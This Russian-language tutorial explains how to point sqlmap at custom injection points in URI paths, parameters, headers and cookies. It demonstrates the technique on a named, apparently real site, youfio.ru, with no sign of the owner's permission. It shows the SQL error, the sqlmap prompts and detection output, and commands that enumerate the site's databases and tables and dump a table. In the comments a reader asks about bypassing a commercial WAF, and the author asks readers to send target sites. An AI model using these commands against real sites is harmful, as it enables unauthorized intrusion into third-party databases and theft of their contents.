Использование sqlmap для инъекции в адресе страницы сайта (URI). Произвольные точки инъекции
Точка инъекции в URI
Имеются особые случаи, когда точка инъекции находится внутри самого URI. К примеру, если мы перейдём на страницу http://youfio.ru/name/АГАФЬЯ.html, то увидим веб-сайт:
А если в URI мы добавим кавычку, чтобы получилось так http://youfio.ru/name/АГАФЬЯ'.html, то мы увидим знакомое:
Query failed : You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''АГАФЬЯ'') and message.ST<>0 ORDER BY message.DT DESC limit 0,20' at line 4
sqlmap не выполняет каких либо автоматических тестов в отношении URI путей, если на них не указано вручную. Для этого вам нужно указать точку инъекции в командной строке, добавив звёздочку (*) (Обратите внимание: Havij стиль %INJECT HERE% также поддерживается) после точки URI, которую вы хотите, чтобы sqlmap протестировала и эксплуатировала SQL-инъекцию.
Это особенно полезно, например, когда используется модуль mod_rewrite веб-сервера Apache или другие подобные технологии.
Пример правильной команды:
sqlmap -u "http://targeturl/param1/value1*/param2/value2/"
Вернёмся к нашей Агафье. Чтобы проверить тот сайт команда должна выглядеть следующим образом:
sqlmap -u "http://youfio.ru/name/АГАФЬЯ*.html"
Программа говорит:
custom injection marker ('*') found in option '-u'. Do you want to process it? [Y/n/q]
Т.е. в опции '-u' был найден пользовательский маркер инъекции ('*'). Хотим ли мы продолжить – соглашаемся, поскольку никакой ошибки нет.
Опять программа спрашивает:
how do you want to proceed? [(C)ontinue/(s)tring/(r)egex/(q)uit] C
Как вы хотите продолжить, на выбор опции (C) – проолжить, (s) – строка, (r) – регулярное выражение, (q) – выйти. Выбираем C, т.е. продолжить.
Программа говорит:
it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n]
Похоже, что в качестве СУБД установлена MySQL. Хотим ли мы пропустить тесты, предназначенные для других СУБД – соглашаемся.
Опять вопрос:
for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n] n
Для продолжения тестов, вы хотите включить все тесты для расширения 'MySQL', обеспечивающего уровень (1) и риск (1)? Это на ваш выбор – я отказываюсь.
Действительно имеется уязвимость SQL-инъекция, об этом говорят строки:
[17:21:15] [INFO] heuristic (basic) test shows that URI parameter '#1*' might be injectable (possible DBMS: 'MySQL') [17:21:15] [INFO] heuristic (XSS) test shows that URI parameter '#1*' might be vulnerable to cross-site scripting (XSS) attacks
Перевод:
- эвристический (базовый) тест показал, что URI параметр '#1*' должен быть уязвим (возможная СУБД: 'MySQL')
- эвристический (базовый) тест показал, что URI параметр '#1*' должен быть уязвим к атакам межсайтового скриптинга (XSS)
Кстати, если вы не знали, теперь sqlmap проверяет и на XSS.
Подробности об уязвимости:
[17:22:05] [INFO] URI parameter '#1*' is 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)' injectable
Версия 'MySQL >= 5.0 и имеется error-based (основанная на ошибке) SQL-инъекция (самая удобная для нападающего, т.к. с её помощью можно быстро получить содержимое баз данных).
И ещё:
[17:23:57] [INFO] URI parameter '#1*' appears to be 'MySQL >= 5.0.12 AND time-based blind' injectable
Уточнена версия MySQL >= 5.0.12, а также имеется time-based blind (слепая, основанная на времени) SQL-инъекция
Далее, как и при обычных SQL-инъекциях, когда уязвимым является GET или POST параметр, мы получаем список баз данных:
sqlmap -u "http://youfio.ru/name/АГАФЬЯ*.html" --dbs
На сервере имеются следующие базы данных:
available databases [2]: [*] information_schema [*] snicke_youfioru
Получаем таблицы в базе данных 'snicke_youfioru':
sqlmap -u "http://youfio.ru/name/АГАФЬЯ*.html" -D 'snicke_youfioru' --tables
Полученный список таблиц:
Получаем содержимое таблицы 'message':
sqlmap -u "http://youfio.ru/name/АГАФЬЯ*.html" -D 'snicke_youfioru' -T 'message' --dump
Произвольная точка инъекции
По аналогии с URI точкой инъекции, звёздочка (*) (Обратите внимание: Havij стиль %INJECT HERE% также поддерживается) может также использоваться для указания произвольного места внутри GET, POST или HTTP заголовков. Точку инъекции можно указать, отметив её внутри значения(ий) параметра GET, указанного с опцией -u, значения(ий) параметра POST переданного опцией —data, значения(ий) HTTP заголовков, предоставленного опциями -H, —headers, —user-agent, —referer и/или —cookie, или в общем месте внутри HTTP-запроса, загруженного из файла с параметром -r.
Примером правильной команды может быть:
sqlmap -u "http://targeturl" --cookie="param1=value1*;param2=value2"
Звёздочку можно использовать более одного раза, т.е. точек инъекций может быть несколько, например:
sqlmap -u "http://www.example.com/*-*"
Связанные статьи:
- Инструкция по использованию sqlmap. Ч.1: Основы работы (GET) (86.7%)
- Инструкция по использованию sqlmap. Ч.2: Продвинутое сканирование и эксплуатация (POST, после аутентификации, AJAX/jQuery) (86.7%)
- Как пользоваться Kali Linux в WSL (подсистеме Windows для Linux): подборка лучших программ (ч. 1) (83.3%)
- Инструкция по использованию sqlmap. Ч.3: Залив бэкдора, выполнение системных команд, изменение данных в БД (66.7%)
- Инструкция по использованию RouterSploit (54.2%)
- Анализ динамически генерируемых с помощью JavaScript сайтов и сайтов с подгружаемым контентом (поиск ссылок на видео, изображения, на подгружаемый контент) (RANDOM - 12.5%)
Доброго времени. Возможно ли написать статью, по обходу WAF с помощью тамперов в sqlmap? Сейчас на большинстве сайтов стоит Sucuri. Хотелось бы в примере увидеть его.
Приветствую! Тема, безусловно, интересная. Я как-то отошёл от тестирования сайтов, поэтому если вы сталкиваетесь с WAF и приведёте примеры сайтов (пусть даже без уязвимостей), то это будет способствовать написанию статьи.
Комментарий со списком сайтов я публиковать не буду, но сохраню для себя.